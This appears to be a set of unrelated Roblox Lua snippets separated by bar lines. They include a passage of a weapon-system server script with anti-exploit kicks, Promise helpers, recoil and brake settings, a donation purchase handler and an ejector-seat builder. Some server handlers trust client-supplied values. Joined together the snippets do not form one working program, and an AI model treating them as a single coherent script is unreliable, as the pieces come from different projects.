local skp_2 = SKP_5.MinDamage * SKP_6.minDamageMod
if SKP_4 == 1 then
local skp_3 = math.random(SKP_5.HeadDamage[1], SKP_5.HeadDamage[2])
skp_1 = math.max(skp_2 ,(skp_3 * SKP_6.DamageMod) - (SKP_2/25) * SKP_5.DamageFallOf)
elseif SKP_4 == 2 then
local skp_3 = math.random(SKP_5.TorsoDamage[1], SKP_5.TorsoDamage[2])
skp_1 = math.max(skp_2 ,(skp_3 * SKP_6.DamageMod) - (SKP_2/25) * SKP_5.DamageFallOf)
else
local skp_3 = math.random(SKP_5.LimbDamage[1], SKP_5.LimbDamage[2])
skp_1 = math.max(skp_2 ,(skp_3 * SKP_6.DamageMod) - (SKP_2/25) * SKP_5.DamageFallOf)
end
if SKP_1.Parent:FindFirstChild("ACS_Client") and not SKP_5.IgnoreProtection then
local skp_4 = SKP_1.Parent.ACS_Client.Protecao.VestProtect
local skp_5 = SKP_1.Parent.ACS_Client.Protecao.HelmetProtect
if SKP_4 == 1 then
if SKP_5.BulletPenetration < skp_5.Value then
skp_1 = math.max(.5 ,skp_1 * (SKP_5.BulletPenetration/skp_5.Value))
end
else
if SKP_5.BulletPenetration < skp_4.Value then
skp_1 = math.max(.5 ,skp_1 * (SKP_5.BulletPenetration/skp_4.Value))
end
end
end
if skp_0 then
if skp_0.Team ~= SKP_0.Team or skp_0.Neutral then
local skp_t = Instance.new("ObjectValue")
skp_t.Name = "creator"
skp_t.Value = SKP_0
skp_t.Parent= SKP_1
game.Debris:AddItem(skp_t, 1)
SKP_1:TakeDamage(skp_1)
return;
end;
if not gameRules.TeamKill then return; end;
local skp_t = Instance.new("ObjectValue")
skp_t.Name = "creator"
skp_t.Value = SKP_0
skp_t.Parent= SKP_1
game.Debris:AddItem(skp_t, 1)
SKP_1:TakeDamage(skp_1 * gameRules.TeamDmgMult)
return;
end
local skp_t = Instance.new("ObjectValue")
skp_t.Name = "creator"
skp_t.Value = SKP_0
skp_t.Parent= SKP_1
game.Debris:AddItem(skp_t, 1)
SKP_1:TakeDamage(skp_1 / 6)
return;
end
local function Damage(SKP_0, SKP_1, SKP_2, SKP_3, SKP_4, SKP_5, SKP_6, SKP_7, SKP_8, SKP_9)
if not SKP_0 or not SKP_0.Character then return; end;
if not SKP_0.Character:FindFirstChild("Humanoid") or SKP_0.Character.Humanoid.Health <= 0 then return; end;
if SKP_9 == (ACS_0.."-"..SKP_0.UserId) then
if SKP_7 then
SKP_0.Character.Humanoid:TakeDamage(math.max(SKP_8, 0))
return;
end
if SKP_1 then
local skp_0 = secureSettings(SKP_0,SKP_1, SKP_5)
if not skp_0 or not SKP_2 then return; end;
CalculateDMG(SKP_0, SKP_2, SKP_3, SKP_4, SKP_5, SKP_6)
return;
end
SKP_0:kick("Exploit Protocol")
warn(SKP_0.Name.." - Potential Exploiter! Case 1: Tried To Access Damage Event")
table.insert(_G.TempBannedPlayers, SKP_0)
return;
end
SKP_0:kick("Exploit Protocol")
warn(SKP_0.Name.." - Potential Exploiter! Case 0-B: Wrong Permission Code")
table.insert(_G.TempBannedPlayers, SKP_0)
return;
end
Evt.Damage.OnServerInvoke = Damage
Evt.HitEffect.OnServerEvent:Connect(function(Player, Position, HitPart, Normal, Material, Settings)
Evt.HitEffect:FireAllClients(Player, Position, HitPart, Normal, Material, Settings)
Engine.GunHit:Fire(Player, Position, HitPart, Normal, Material, Settings)
end)
Evt.GunStance.OnServerEvent:Connect(function(Player,stance,Data)
Evt.GunStance:FireAllClients(Player,stance,Data)
end)
Evt.ServerBullet.OnServerEvent:Connect(function(Player,Origin,Direction,WeaponData,ModTable)
Evt.ServerBullet:FireAllClients(Player,Origin,Direction,WeaponData,ModTable)
end)
Evt.Stance.OnServerEvent:connect(function(Player, Stance, Virar)
if not Player or not Player.Character then return; end; --// Player or Character doesn't exist
if not Player.Character:FindFirstChild("Humanoid") or Player.Character.Humanoid.Health <= 0 then return; end; --// Player is dead
local ACS_Client= Player.Character:FindFirstChild("ACS_Client")
if not ACS_Client then return; end;
local Torso = Player.Character:FindFirstChild("Torso")
local RootPart = Player.Character:FindFirstChild("HumanoidRootPart")
if not Torso or not RootPart then return; end; --// Essential bodyparts doesn't exist in this character
local RootJoint = RootPart:FindFirstChild("RootJoint")
local RS = Torso:FindFirstChild("Right Shoulder")
local LS = Torso:FindFirstChild("Left Shoulder")
local RH = Torso:FindFirstChild("Right Hip")
local LH = Torso:FindFirstChild("Left Hip")
if not RootJoint or not RS or not LS or not RH or not LH then return; end; --// Joints doesn't exist
if Stance == 2 then
TS:Create(RootJoint, TweenInfo.new(.3), {C1 = CFrame.new(0,1.5,2.45) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(180))} ):Play()
TS:Create(RH, TweenInfo.new(.3), {C1 = CFrame.new(.5,1,0)* CFrame.Angles(math.rad(-5),math.rad(90),math.rad(0))} ):Play()
TS:Create(LH, TweenInfo.new(.3), {C1 = CFrame.new(-.5,1,0)* CFrame.Angles(math.rad(-5),math.rad(-90),math.rad(0))} ):Play()
end
if Virar == 1 then
if Stance == 0 then
TS:Create(RootJoint, TweenInfo.new(.3), {C1 = CFrame.new(-1,-0,0) * CFrame.Angles(math.rad(-90),math.rad(-15),math.rad(-180))} ):Play()
TS:Create(RH, TweenInfo.new(.3), {C1 = CFrame.new(.5,1,0)* CFrame.Angles(math.rad(0),math.rad(90),math.rad(0))} ):Play()
TS:Create(LH, TweenInfo.new(.3), {C1 = CFrame.new(-.5,1,0)* CFrame.Angles(math.rad(0),math.rad(-90),math.rad(0))} ):Play()
elseif Stance == 1 then
TS:Create(RootJoint, TweenInfo.new(.3), {C1 = CFrame.new(-1,.75,0.25)* CFrame.Angles(math.rad(-80),math.rad(-15),math.rad(-180))} ):Play()
TS:Create(RH, TweenInfo.new(.3), {C1 = CFrame.new(.5,0,0.4)* CFrame.Angles(math.rad(20),math.rad(90),math.rad(0))} ):Play()
TS:Create(LH, TweenInfo.new(.3), {C1 = CFrame.new(-.5,0,0.4)* CFrame.Angles(math.rad(20),math.rad(-90),math.rad(0))} ):Play()
end
elseif Virar == -1 then
if Stance == 0 then
TS:Create(RootJoint, TweenInfo.new(.3), {C1 = CFrame.new(1,0,0) * CFrame.Angles(math.rad(-90),math.rad(15),math.rad(180))} ):Play()
TS:Create(RH, TweenInfo.new(.3), {C1 = CFrame.new(.5,1,0)* CFrame.Angles(math.rad(0),math.rad(90),math.rad(0))} ):Play()
TS:Create(LH, TweenInfo.new(.3), {C1 = CFrame.new(-.5,1,0)* CFrame.Angles(math.rad(0),math.rad(-90),math.rad(0))} ):Play()
elseif Stance == 1 then
TS:Create(RootJoint, TweenInfo.new(.3), {C1 = CFrame.new(1,.75,0.25)* CFrame.Angles(math.rad(-80),math.rad(15),math.rad(180))} ):Play()
TS:Create(RH, TweenInfo.new(.3), {C1 = CFrame.new(.5,0,0.4)* CFrame.Angles(math.rad(20),math.rad(90),math.rad(0))} ):Play()
TS:Create(LH, TweenInfo.new(.3), {C1 = CFrame.new(-.5,0,0.4)* CFrame.Angles(math.rad(20),math.rad(-90),math.rad(0))} ):Play()
end
elseif Virar == 0 then
if Stance == 0 then
TS:Create(RootJoint, TweenInfo.new(.3), {C1 = CFrame.new(0,0,0)* CFrame.Angles(math.rad(-90),math.rad(0),math.rad(180))} ):Play()
TS:Create(RH, TweenInfo.new(.3), {C1 = CFrame.new(.5,1,0)* CFrame.Angles(math.rad(0),math.rad(90),math.rad(0))} ):Play()
TS:Create(LH, TweenInfo.new(.3), {C1 = CFrame.new(-.5,1,0)* CFrame.Angles(math.rad(0),math.rad(-90),math.rad(0))} ):Play()
elseif Stance == 1 then
TS:Create(RootJoint, TweenInfo.new(.3), {C1 = CFrame.new(0,1,0.25)* CFrame.Angles(math.rad(-80),math.rad(0),math.rad(180))} ):Play()
TS:Create(RH, TweenInfo.new(.3), {C1 = CFrame.new(.5,0,0.4)* CFrame.Angles(math.rad(20),math.rad(90),math.rad(0))} ):Play()
TS:Create(LH, TweenInfo.new(.3), {C1 = CFrame.new(-.5,0,0.4)* CFrame.Angles(math.rad(20),math.rad(-90),math.rad(0))} ):Play()
end
end
if ACS_Client:GetAttribute("Surrender") then
TS:Create(RS, TweenInfo.new(.3), {C1 = CFrame.new(-.5,0.95,0)* CFrame.Angles(math.rad(-175),math.rad(90),math.rad(0))} ):Play()
TS:Create(LS, TweenInfo.new(.3), {C1 = CFrame.new(.5,0.95,0)* CFrame.Angles(math.rad(-175),math.rad(-90),math.rad(0))} ):Play()
elseif Stance == 2 then
TS:Create(RS, TweenInfo.new(.3), {C1 = CFrame.new(-.5,0.95,0)* CFrame.Angles(math.rad(-175),math.rad(90),math.rad(0))} ):Play()
TS:Create(LS, TweenInfo.new(.3), {C1 = CFrame.new(.5,0.95,0)* CFrame.Angles(math.rad(-175),math.rad(-90),math.rad(0))} ):Play()
else
--p1.CFrame:inverse() * p2.CFrame
TS:Create(RS, TweenInfo.new(.3), {C1 = CFrame.new(-.5,0.5,0)* CFrame.Angles(math.rad(0),math.rad(90),math.rad(0))} ):Play()
TS:Create(LS, TweenInfo.new(.3), {C1 = CFrame.new(.5,0.5,0)* CFrame.Angles(math.rad(0),math.rad(-90),math.rad(0))} ):Play()
end
end)
Evt.Surrender.OnServerEvent:Connect(function(Player,Victim)
if not Player or not Player.Character then return; end;
local PClient = nil
if Victim then
if Victim == Player or not Victim.Character then return; end;
PClient = Victim.Character:FindFirstChild("ACS_Client")
if not PClient then return; end;
if PClient:GetAttribute("Surrender") then
PClient:SetAttribute("Surrender",false)
end
end
PClient = Player.Character:FindFirstChild("ACS_Client")
if not PClient then return; end;
if not PClient:GetAttribute("Surrender") then
PClient:SetAttribute("Surrender",true)
end
end)
Evt.Grenade.OnServerEvent:Connect(function(SKP_0, SKP_1, SKP_2, SKP_3, SKP_4, SKP_5, SKP_6)
if not SKP_0 or not SKP_0.Character then return; end;
if not SKP_0.Character:FindFirstChild("Humanoid") or SKP_0.Character.Humanoid.Health <= 0 then return; end;
if SKP_6 ~= (ACS_0.."-"..SKP_0.UserId) then
SKP_0:kick("Exploit Protocol")
warn(SKP_0.Name.." - Potential Exploiter! Case 0-B: Wrong Permission Code")
table.insert(_G.TempBannedPlayers, SKP_0)
return;
end
if not SKP_1 or not SKP_2 then
SKP_0:kick("Exploit Protocol")
warn(SKP_0.Name.." - Potential Exploiter! Case 3: Tried To Access Grenade Event")
return;
end
local skp_0 = secureSettings(SKP_0, SKP_1, SKP_2)
if not skp_0 or SKP_2.Type ~= "Grenade" then return; end;
if not SVGunModels:FindFirstChild(SKP_2.gunName) then warn("ACS_Server Couldn't Find "..SKP_2.gunName.." In Grenade Model Folder"); return; end;
local skp_0 = SVGunModels[SKP_2.gunName]:Clone()
for SKP_Arg0, SKP_Arg1 in pairs(SKP_0.Character:GetChildren()) do
if not SKP_Arg1:IsA('BasePart') then continue; end;
local skp_1 = Instance.new("NoCollisionConstraint")
skp_1.Parent= skp_0
skp_1.Part0 = skp_0.PrimaryPart
skp_1.Part1 = SKP_Arg1
end
local skp_1 = Instance.new("ObjectValue")
skp_1.Name = "creator"
skp_1.Value = SKP_0
skp_1.Parent= skp_0.PrimaryPart
skp_0.Parent = ACS_Workspace.Server
skp_0.PrimaryPart.CFrame = SKP_3
skp_0.PrimaryPart:ApplyImpulse(SKP_4 * SKP_5 * skp_0.PrimaryPart:GetMass())
skp_0.PrimaryPart:SetNetworkOwner(nil)
skp_0.PrimaryPart.Damage.Disabled = false
SKP_1:Destroy()
end)
function loadAttachment(weapon,WeaponData)
if not weapon or not WeaponData or not weapon:FindFirstChild("Nodes") then return; end;
--load sight Att
if weapon.Nodes:FindFirstChild("Sight") and WeaponData.SightAtt ~= "" then
local SightAtt = AttModels[WeaponData.SightAtt]:Clone()
SightAtt.Parent = weapon
SightAtt:SetPrimaryPartCFrame(weapon.Nodes.Sight.CFrame)
for index, key in pairs(weapon:GetChildren()) do
if not key:IsA('BasePart') or key.Name ~= "IS" then continue; end;
key.Transparency = 1
end
for index, key in pairs(SightAtt:GetChildren()) do
if key.Name == "SightMark" or key.Name == "Main" then key:Destroy(); continue; end;
if not key:IsA('BasePart') then continue; end;
Ultil.Weld(weapon:WaitForChild("Handle"), key )
key.Anchored = false
key.CanCollide = false
end
end
--load Barrel Att
if weapon.Nodes:FindFirstChild("Barrel") and WeaponData.BarrelAtt ~= "" then
local BarrelAtt = AttModels[WeaponData.BarrelAtt]:Clone()
BarrelAtt.Parent = weapon
BarrelAtt:SetPrimaryPartCFrame(weapon.Nodes.Barrel.CFrame)
if BarrelAtt:FindFirstChild("BarrelPos") then
weapon.Handle.Muzzle.WorldCFrame = BarrelAtt.BarrelPos.CFrame
end
for index, key in pairs(BarrelAtt:GetChildren()) do
if not key:IsA('BasePart') then continue; end;
Ultil.Weld(weapon:WaitForChild("Handle"), key )
key.Anchored = false
key.CanCollide = false
end
end
--load Under Barrel Att
if weapon.Nodes:FindFirstChild("UnderBarrel") and WeaponData.UnderBarrelAtt ~= "" then
local UnderBarrelAtt = AttModels[WeaponData.UnderBarrelAtt]:Clone()
UnderBarrelAtt.Parent = weapon
UnderBarrelAtt:SetPrimaryPartCFrame(weapon.Nodes.UnderBarrel.CFrame)
for index, key in pairs(UnderBarrelAtt:GetChildren()) do
if not key:IsA('BasePart') then continue; end;
Ultil.Weld(weapon:WaitForChild("Handle"), key )
key.Anchored = false
key.CanCollide = false
end
end
if weapon.Nodes:FindFirstChild("Other") and WeaponData.OtherAtt ~= "" then
local OtherAtt = AttModels[WeaponData.OtherAtt]:Clone()
OtherAtt.Parent = weapon
OtherAtt:SetPrimaryPartCFrame(weapon.Nodes.Other.CFrame)
for index, key in pairs(OtherAtt:GetChildren()) do
if not key:IsA('BasePart') then continue; end;
Ultil.Weld(weapon:WaitForChild("Handle"), key )
key.Anchored = false
key.CanCollide = false
end
end
end
Evt.Equip.OnServerEvent:Connect(function(Player,Arma,Mode,Settings,Anim)
if not Player or not Player.Character then return; end;
local Head = Player.Character:FindFirstChild('Head')
local Torso = Player.Character:FindFirstChild('Torso')
local LeftArm = Player.Character:FindFirstChild('Left Arm')
local RightArm = Player.Character:FindFirstChild('Right Arm')
if not Head or not Torso or not LeftArm or not RightArm then return; end;
local RS = Torso:FindFirstChild("Right Shoulder")
local LS = Torso:FindFirstChild("Left Shoulder")
if not RS or not LS then return; end;
--// EQUIP
if Mode == 1 then
local GunModel = GunModels:FindFirstChild(Arma.Name)
if not GunModel then warn(Player.Name..": Couldn't load Server-side weapon model") return; end;
local ServerGun = GunModel:Clone()
ServerGun.Name = 'S' .. Arma.Name
local AnimBase = Instance.new("Part", Player.Character)
AnimBase.FormFactor = "Custom"
AnimBase.CanCollide = false
AnimBase.Transparency = 1
AnimBase.Anchored = false
AnimBase.Name = "AnimBase"
AnimBase.Size = Vector3.new(0.1, 0.1, 0.1)
local AnimBaseW = Instance.new("Motor6D")
AnimBaseW.Part0 = Head
AnimBaseW.Part1 = AnimBase
AnimBaseW.Parent = AnimBase
AnimBaseW.Name = "AnimBaseW"
--AnimBaseW.C0 = CFrame.new(0,-1.25,0)
local ruaw = Instance.new("Motor6D")
ruaw.Name = "RAW"
ruaw.Part0 = RightArm
ruaw.Part1 = AnimBase
ruaw.Parent = AnimBase
ruaw.C0 = Anim.SV_RightArmPos
RS.Enabled = false
local luaw = Instance.new("Motor6D")
luaw.Name = "LAW"
luaw.Part0 = LeftArm
luaw.Part1 = AnimBase
luaw.Parent = AnimBase
luaw.C0 = Anim.SV_LeftArmPos
LS.Enabled = false
ServerGun.Parent = Player.Character
loadAttachment(ServerGun,Settings)
if ServerGun:FindFirstChild("Nodes") ~= nil then
ServerGun.Nodes:Destroy()
end
for SKP_001, SKP_002 in pairs(ServerGun:GetDescendants()) do
if SKP_002.Name ~= "SightMark" then continue; end;
SKP_002:Destroy()
end
for SKP_001, SKP_002 in pairs(ServerGun:GetDescendants()) do
if not SKP_002:IsA('BasePart') or SKP_002.Name == 'Handle' then continue; end;
Ultil.WeldComplex(ServerGun:WaitForChild("Handle"), SKP_002, SKP_002.Name)
end
local SKP_004 = Instance.new('Motor6D')
SKP_004.Name = 'Handle'
SKP_004.Parent = ServerGun.Handle
SKP_004.Part0 = RightArm
SKP_004.Part1 = ServerGun.Handle
SKP_004.C1 = Anim.SV_GunPos:inverse()
for L_74_forvar1, L_75_forvar2 in pairs(ServerGun:GetDescendants()) do
if not L_75_forvar2:IsA('BasePart') then continue; end;
L_75_forvar2.Anchored = false
L_75_forvar2.CanCollide = false
end
return;
end;
--// UNEQUIP
if Mode == 2 then
if Arma and Player.Character:FindFirstChild('S' .. Arma.Name) then
Player.Character['S' .. Arma.Name]:Destroy()
Player.Character.AnimBase:Destroy()
end
RS.Enabled = true
LS.Enabled = true
end
return;
end)
Evt.Squad.OnServerEvent:Connect(function(Player,SquadName,SquadColor)
if not Player or not Player.Character then return; end;
if not Player.Character:FindFirstChild("ACS_Client") then return; end;
Player.Character.ACS_Client.FireTeam.SquadName.Value = SquadName
Player.Character.ACS_Client.FireTeam.SquadColor.Value = SquadColor
end)
Evt.HeadRot.OnServerEvent:connect(function(Player, CF)
Evt.HeadRot:FireAllClients(Player, CF)
end)
Evt.Atirar.OnServerEvent:Connect(function(Player, Arma, Suppressor, FlashHider)
Evt.Atirar:FireAllClients(Player, Arma, Suppressor, FlashHider)
end)
Evt.Whizz.OnServerEvent:Connect(function(Player, Victim)
Evt.Whizz:FireClient(Victim)
end)
Evt.Suppression.OnServerEvent:Connect(function(Player,Victim,Mode,Intensity,Time)
Evt.Suppression:FireClient(Victim,Mode,Intensity,Time)
end)
Evt.Refil.OnServerEvent:Connect(function(Player, Stored, NewStored)
Stored.Value = Stored.Value - NewStored
end)
Evt.SVLaser.OnServerEvent:Connect(function(Player,Position,Modo,Cor,IRmode,Arma)
Evt.SVLaser:FireAllClients(Player,Position,Modo,Cor,IRmode,Arma)
end)
Evt.SVFlash.OnServerEvent:Connect(function(Player,Arma,Mode)
Evt.SVFlash:FireAllClients(Player,Arma,Mode)
end)
|
-- This function casts a ray with a whitelist.
|
local function CastWithWhitelist(origin, direction, whitelist, ignoreWater)
if not whitelist or typeof(whitelist) ~= "table" then
-- This array is faulty.
error("Call in CastWhitelist failed! Whitelist table is either nil, or is not actually a table.", 0)
end
local castRay = Ray.new(origin, direction)
-- Now here's something bizarre: FindPartOnRay and FindPartOnRayWithIgnoreList have a "terrainCellsAreCubes" boolean before ignoreWater. FindPartOnRayWithWhitelist, on the other hand, does not!
return Workspace:FindPartOnRayWithWhitelist(castRay, whitelist, ignoreWater)
end
|
-- functions bruv
|
function RaycastRender()
for x=1,renderResolution do
for y=1,renderResolution do
local currentScreenPos = Vector2.new(x*(viewportSize.X/renderResolution), y*(viewportSize.Y/renderResolution))
local screenRay = cam:ScreenPointToRay(currentScreenPos.X, currentScreenPos.Y)
local RayCast = workspace:Raycast(screenRay.Origin, screenRay.Direction*1000)
if RayCast then
local Part = Instance.new("Part", workspace)
Part.Anchored = true
Part.Size = Vector3.new(1,1,1)
Part.Position = RayCast.Position
game.Debris:AddItem(Part, .095)
end
end
end
end
function isPositionOnScreen(position)
if (position - cam.CFrame.Position).Magnitude > 3000 then
-- Check if on screen:
local vector, inViewport = cam:WorldToViewportPoint(position)
local onScreen = inViewport and vector.Z > 0
-- Raycast outward:
local ray = cam:ViewportPointToRay(vector.X, vector.Y, 0)
local raycastParams = RaycastParams.new()
raycastParams.FilterType = Enum.RaycastFilterType.Blacklist
--raycastParams.FilterDescendantsInstances = {game.Players.LocalPlayer.Character}
local raycastResult = workspace:Raycast(ray.Origin, ray.Direction * 1000, raycastParams)
-- Final check:
local isVisible = onScreen and not raycastResult
return isVisible
else
return true
end
end
|
--[[
Is the given object a Promise instance?
]]
|
function Promise.is(object)
if type(object) ~= "table" then
return false
end
return object[PromiseMarker] == true
end
|
-- 🤨
|
local IDs =
{ "rbxassetid://8574619105", -- 00
"rbxassetid://8582705437", -- 01
"rbxassetid://8582853792", -- 02
"rbxassetid://8582862325", -- 03
"rbxassetid://8582872626", -- 04
"rbxassetid://8582889931", -- 05
"rbxassetid://8582895559", -- 06
"rbxassetid://8582902014", -- 07
"rbxassetid://8582905652", -- 08
"rbxassetid://8582908281", -- 09
"rbxassetid://8582914909", -- 10
"rbxassetid://8582917602", -- 11
"rbxassetid://8582920389", -- 12
"rbxassetid://8582922411", -- 13
"rbxassetid://8582923430", -- 14
"rbxassetid://8582924089", -- 15
"rbxassetid://8582925377", -- 16
"rbxassetid://8582926419", -- 17
"rbxassetid://8582927354", -- 18
"rbxassetid://8582928485", -- 19
"rbxassetid://8582962385", -- 20
"rbxassetid://8582966006", -- 21
"rbxassetid://8582970043", -- 22
"rbxassetid://8582971526", -- 23
"rbxassetid://8582976022", -- 24
"rbxassetid://8582978553", -- 25
"rbxassetid://8582981543", -- 26
"rbxassetid://8582983664", -- 27
"rbxassetid://8582985386", -- 28
"rbxassetid://8582987054", -- 29
"rbxassetid://8582989695", -- 30
"rbxassetid://8582990702", -- 31
"rbxassetid://8582995438", -- 32
"rbxassetid://8582996385", -- 33
"rbxassetid://8583002659", -- 34
"rbxassetid://8583011681", -- 35
"rbxassetid://8583025661", -- 36
"rbxassetid://8583028764", -- 37
"rbxassetid://8583038094", -- 38
"rbxassetid://8583041516", -- 39
"rbxassetid://8583042812", -- 40
"rbxassetid://8583043737"} -- 41
while true do
for i,v in ipairs(IDs) do
script.Parent.Texture = v
task.wait(0.09)
end
end
|
----------------------------------------------------------------------------------------------------
-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,VRecoil = {14,18} --- Vertical Recoil
,HRecoil = {8,12} --- Horizontal Recoil
,AimRecover = 1 ---- Between 0 & 1
,RecoilPunch = .25
,VPunchBase = 3 --- Vertical Punch
,HPunchBase = 4 --- Horizontal Punch
,DPunchBase = 1 --- Tilt Punch | useless
,AimRecoilReduction = 1 --- Recoil Reduction Factor While Aiming (Do not set to 0)
,PunchRecover = 0.2
,MinRecoilPower = 1
,MaxRecoilPower = 2.5
,RecoilPowerStepAmount = .25
,MinSpread = 10 --- Min bullet spread value | Studs
,MaxSpread = 40 --- Max bullet spread value | Studs
,AimInaccuracyStepAmount = 2.5
,WalkMultiplier = 0 --- Bullet spread based on player speed
,SwayBase = 0.25 --- Weapon Base Sway | Studs
,MaxSway = 1 --- Max sway value based on player stamina | Studs
|
--[=[
Initializes a new promise with the given function in a deferred wrapper.
@param func (resolve: (...) -> (), reject: (...) -> ()) -> ()?
@return Promise<T>
]=]
|
function Promise.spawn(func)
local self = Promise.new()
task.spawn(func, self:_getResolveReject())
return self
end
|
--- Get (or create) BindableFunction
|
function GetFunc(funcName)
--- Variables
funcName = string.lower(funcName)
local func = funcs[funcName]
--- Check if function already exists
if not func then
func = Instance.new("BindableFunction")
func.Name = funcName
funcs[funcName] = func
end
return func
end
|
--[[Brakes]]
|
--
Tune.FBrakeForce = 350 -- Front brake force
Tune.RBrakeForce = 200 -- Rear brake force
Tune.PBrakeForce = 350 -- Parking brake force
Tune.LinkedBrakes = true -- Links brakes up, uses both brakes while braking
Tune.BrakesRatio = 60 -- The ratio of the brakes (0 = rear brake; 100 = front brake)
|
--[[
Gamepad Character Control - This module handles controlling your avatar using a game console-style controller
2018 PlayerScripts Update - AllYourBlox
--]]
|
local UserInputService = game:GetService("UserInputService")
local ContextActionService = game:GetService("ContextActionService")
|
-- Table setup containing product IDs and functions for handling purchases
|
local productFunctions = {
[1233952204] = function(receipt, player)
local stats = player:FindFirstChild("DonationValue")
local donation = stats
if donation then
donation.Value = donation.Value + 5
return true
end
end;
[1233952208] = function(receipt, player)
local stats = player:FindFirstChild("DonationValue")
local donation = stats
if donation then
donation.Value = donation.Value + 10
return true
end
end;
[1233952212] = function(receipt, player)
local stats = player:FindFirstChild("DonationValue")
local donation = stats
if donation then
donation.Value = donation.Value + 50
return true
end
end;
[1233955620] = function(receipt, player)
local stats = player:FindFirstChild("DonationValue")
local donation = stats
if donation then
donation.Value = donation.Value + 100
return true
end
end;
[1233955602] = function(receipt, player)
local stats = player:FindFirstChild("DonationValue")
local donation = stats
if donation then
donation.Value = donation.Value + 500
return true
end
end;
[1233955632] = function(receipt, player)
local stats = player:FindFirstChild("DonationValue")
local donation = stats
if donation then
donation.Value = donation.Value + 1000
return true
end
end;
[1233955638] = function(receipt, player)
local stats = player:FindFirstChild("DonationValue")
local donation = stats
if donation then
donation.Value = donation.Value + 5000
return true
end
end;
[1233955645] = function(receipt, player)
local stats = player:FindFirstChild("DonationValue")
local donation = stats
if donation then
donation.Value = donation.Value + 10000
return true
end
end;
[1233955664] = function(receipt, player)
local stats = player:FindFirstChild("DonationValue")
local donation = stats
if donation then
donation.Value = donation.Value + 50000
return true
end
end;
[1233955679] = function(receipt, player)
local stats = player:FindFirstChild("DonationValue")
local donation = stats
if donation then
donation.Value = donation.Value + 100000
return true
end
end;
[1233955695] = function(receipt, player)
local stats = player:FindFirstChild("DonationValue")
local donation = stats
if donation then
donation.Value = donation.Value + 500000
return true
end
end;
}
MarketplaceService.ProcessReceipt = function(receiptInfo)
local playerProductKey = receiptInfo.PlayerId .. "_" .. receiptInfo.PurchaseId
local purchased = false
local success, errorMessage = pcall(function()
purchased = purchaseHistoryStore:GetAsync(playerProductKey)
end)
if success and purchased then
return Enum.ProductPurchaseDecision.PurchaseGranted
elseif not success then
error("Data store error:" .. errorMessage)
end
local player = Players:GetPlayerByUserId(receiptInfo.PlayerId)
if not player then
return Enum.ProductPurchaseDecision.NotProcessedYet
end
local handler = productFunctions[receiptInfo.ProductId]
local success, result = pcall(handler, receiptInfo, player)
if not success or not result then
warn("Error occurred while processing a product purchase")
print("\nProductId:", receiptInfo.ProductId)
print("\nPlayer:", player)
return Enum.ProductPurchaseDecision.NotProcessedYet
end
local success, errorMessage = pcall(function()
purchaseHistoryStore:SetAsync(playerProductKey, true)
end)
if not success then
error("Cannot save purchase data: " .. errorMessage)
end
return Enum.ProductPurchaseDecision.PurchaseGranted
end
|
-------------------------------------------------
|
if Torso and Humanoid then
Humanoid.Sit,Humanoid.Jump = true,false
Connection = Humanoid.Changed:connect(function()
Humanoid.Sit,Humanoid.Jump = true,false
end)
local Model = Instance.new("Model")
Model.Parent = Character
Model.Name = "EjectorSeat"
-------------------------------------------------------------------------------------------
local Seat = Instance.new("Part")
Seat.Parent = Model
Seat.Name = "Seat"
Seat.CanCollide = false
Seat.FormFactor = "Custom"
Seat.Size = Vector3.new(2.5,1,2)
Seat.BottomSurface = "Smooth"
Seat.TopSurface = "Smooth"
local Weld1 = Instance.new("Weld")
Weld1.Parent = Seat
Weld1.Part0 = Seat
Weld1.Part1 = Torso
Weld1.C0 = CFrame.new(0,2,0)
-------------------------------------------------------------------------------------------
local Part1 = Instance.new("Part")
Part1.Parent = Model
Part1.CanCollide = false
Part1.FormFactor = "Symmetric"
Part1.Size = Vector3.new(3,1,1)
Part1.BottomSurface = "Smooth"
Part1.TopSurface = "Smooth"
local Weld2 = Instance.new("Weld")
Weld2.Parent = Part1
Weld2.Part0 = Part1
Weld2.Part1 = Seat
Weld2.C0 = CFrame.new(0,0,-1.5)
-------------------------------------------------------------------------------------------
local Part2 = Instance.new("Part")
Part2.Parent = Model
Part2.CanCollide = false
Part2.FormFactor = "Symmetric"
Part2.Size = Vector3.new(2,3,1)
Part2.BottomSurface = "Smooth"
Part2.TopSurface = "Smooth"
local Weld3 = Instance.new("Weld")
Weld3.Parent = Part2
Weld3.Part0 = Part2
Weld3.Part1 = Part1
Weld3.C0 = CFrame.new(0,-2,0)
-------------------------------------------------------------------------------------------
local Wedge1 = Instance.new("WedgePart")
Wedge1.Parent = Model
Wedge1.CanCollide = false
Wedge1.FormFactor = "Custom"
Wedge1.Size = Vector3.new(1,3,0.5)
Wedge1.BottomSurface = "Smooth"
Wedge1.TopSurface = "Smooth"
local Weld4 = Instance.new("Weld")
Weld4.Parent = Wedge1
Weld4.Part0 = Wedge1
Weld4.Part1 = Part2
Weld4.C0 = CFrame.new(0,0,1.25) * CFrame.Angles(0,math.rad(90),0)
-------------------------------------------------------------------------------------------
local Wedge2 = Instance.new("WedgePart")
Wedge2.Parent = Model
Wedge2.CanCollide = false
Wedge2.FormFactor = "Custom"
Wedge2.Size = Vector3.new(1,3,0.5)
Wedge2.BottomSurface = "Smooth"
Wedge2.TopSurface = "Smooth"
local Weld5 = Instance.new("Weld")
Weld5.Parent = Wedge2
Weld5.Part0 = Wedge2
Weld5.Part1 = Part2
Weld5.C0 = CFrame.new(0,0,1.25) * CFrame.Angles(0,math.rad(-90),0)
-------------------------------------------------------------------------------------------
local Wedge3 = Instance.new("WedgePart")
Wedge3.Parent = Model
Wedge3.CanCollide = false
Wedge3.FormFactor = "Custom"
Wedge3.Size = Vector3.new(1,2,0.25)
Wedge3.BottomSurface = "Smooth"
Wedge3.TopSurface = "Smooth"
local Weld6 = Instance.new("Weld")
Weld6.Parent = Wedge3
Weld6.Part0 = Wedge3
Weld6.Part1 = Seat
Weld6.C0 = CFrame.new(0,0,1.375) * CFrame.Angles(math.rad(90),0,math.rad(90))
-------------------------------------------------------------------------------------------
local Wedge4 = Instance.new("WedgePart")
Wedge4.Parent = Model
Wedge4.CanCollide = false
Wedge4.FormFactor = "Custom"
Wedge4.Size = Vector3.new(1,2,0.25)
Wedge4.BottomSurface = "Smooth"
Wedge4.TopSurface = "Smooth"
local Weld7 = Instance.new("Weld")
Weld7.Parent = Wedge4
Weld7.Part0 = Wedge4
Weld7.Part1 = Seat
Weld7.C0 = CFrame.new(0,0,1.375) * CFrame.Angles(math.rad(90),0,math.rad(-90))
